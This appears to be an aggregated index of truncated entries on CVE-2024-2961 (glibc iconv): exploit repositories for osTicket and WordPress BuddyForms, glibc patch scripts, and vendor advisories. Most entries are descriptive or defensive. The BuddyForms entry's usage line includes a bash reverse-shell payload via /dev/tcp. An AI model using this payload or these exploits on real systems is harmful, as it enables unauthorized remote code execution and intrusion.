osTicketFileReadIntoRCE

CVE-2026-22200: osTicket 任意文件读取导致远程代码执行 全链利用：结合 PHP filter chain 注入与 CVE-2024-2961 CNEXT，在易受攻击的 osTicket 安装上实现未授权远程代码执行。 目录 概述 漏洞详情 攻击流程 功能特性 安装 使用方法 技术细节 故障排除 检测与缓解 致谢 免责声明 概述 本仓库包含 CVE-2026-22200 的概念验证利用代码，该漏洞影响 osTicket ≤ 1.18.2 版本。该利用将两种强大的技术链式组合：...

iconvfix

iconvfix 用于修补 CVE-2024-2961 的 Bash 脚本 目前适用于 Centos7. 无保修, 请勿在生产系统上使用, 这只是一个内部辅助工具 : 用法 tsh ssh username@target sudo 'bash -s' iconvfix.sh...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embarg...

CVE-2024-2961_poc

此存储库没有 README。...

FIX-CVE-2024-2961

在 Ubuntu（以及其他平台）上缓解 CVE-2024-2961 的快速而粗糙的 Shell 脚本 运行该 Shell 脚本即可。您可能还需要更改 gconv 配置的路径 Matt...

CVE-2024-2961

CVE-2024-2961 利用 CVE-2024-2961 实现任意文件读取 用法 配合 wrapwrap 使用效果最佳。 root@kitploit: usage: arbitrary-file-read.py -h -t TARGET -c CHAIN -ct CONTENTTYPE --prefix-len PREFIXLEN --suffix-len SUFFIXLEN options: -h, --help show this help message and exit -t TARGET, --target TARGET The target URL e.g...

cve-2024-2961

cve-2024-2961 自定义版本：https://sansec.io/downloads/cve-2024-2961.c 致谢： https://github.com/ambionics/cnext-exploits https://github.com/absolutedesignltd/iconvfix...

CVE-2022-31626-CVE-2024-2961-CVE-2019-6977

CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 Donar Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación. ⚡ Uso sencillo Utilice este proyecto únicamente en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Configuraciones d...

Photon OS 5.0: Glibc PHSA-2024-5.0-91-0250

An update of the glibc package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2024-5.0-91-0250. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...

Exploit for CVE-2024-2961

CVE-2026-22200: osTicket Arbitrary File Read to RCE...

TencentOS Server 3: glibc (TSSA-2024:0134)

The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0134 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...

Siemens SIMATIC S7-1500 Out-of-bounds Write (CVE-2024-2961)

The iconv function in the GNU C Library versions 2.39 and older may overflow the output buffer passed to it by up to 4 bytes when converting strings to the ISO-2022-CN-EXT character set, which may be used to crash an application or overwrite a neighbouring variable. This plugin only works with...

Security Bulletin: The iconv() function in the GNU C Library affects IBM Data Observability by Databand Self-Hosted (CVE-2024-2961)

Summary The vulnerability regarding iconv function in the GNU C Library versions 2.39 and older was addressed in IBM Data Observability by Databand Self-Hosted. Vulnerability Details CVEID:CVE-2024-2961 DESCRIPTION: The iconv function in the GNU C Library versions 2.39 and older may overflow the...

Nutanix AOS : Multiple Vulnerabilities (NXSA-AOS-6.10.1.6)

The version of AOS installed on the remote host is prior to 6.10.1.6. It is, therefore, affected by multiple vulnerabilities as referenced in the NXSA-AOS-6.10.1.6 advisory. - BZ2decompress in decompress.c in bzip2 through 1.0.6 has an out-of-bounds write when there are many selectors...

Oracle Linux 8 : glibc (ELSA-2025-20375)

The remote Oracle Linux 8 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2025-20375 advisory. - CVE-2025-4802: static setuid dlopen may search LDLIBRARYPATH RHEL-92685 - CVE-2025-0395: Fix a buffer overflow in assert RHEL-83306 - CVE-2024-33599: nscd:...

TencentOS Server 3: glibc (TSSA-2024:0149)

The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0149 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...

Alibaba Cloud Linux 3 : 0070: glibc (ALINUX3-SA-2024:0070)

The remote Alibaba Cloud Linux 3 host has packages installed that are affected by a vulnerability as referenced in the ALINUX3-SA-2024:0070 advisory. Package updates are available for Alibaba Cloud Linux 3 that fix the following vulnerabilities: CVE-2024-2961: The iconv function in the GNU C...

Security Bulletin: Vulnerability in glibc affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge - Assistant Builder Component.

Summary Potential vulnerability in glibc has been identified that affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge - Assistant Builder Component. The vulnerability have been addressed. Refer to details for additional information. Vulnerability...

Exploit for CVE-2024-2961

PHP file-read to RCE CVE-2024-2961 TODO Parse LIBC to kn...

RockyLinux 8 : glibc (RLSA-2024:3269)

The remote RockyLinux 8 host has packages installed that are affected by a vulnerability as referenced in the RLSA-2024:3269 advisory. glibc: Out of bounds write in iconv may lead to remote code execution CVE-2024-2961 Tenable has extracted the preceding description block directly from the...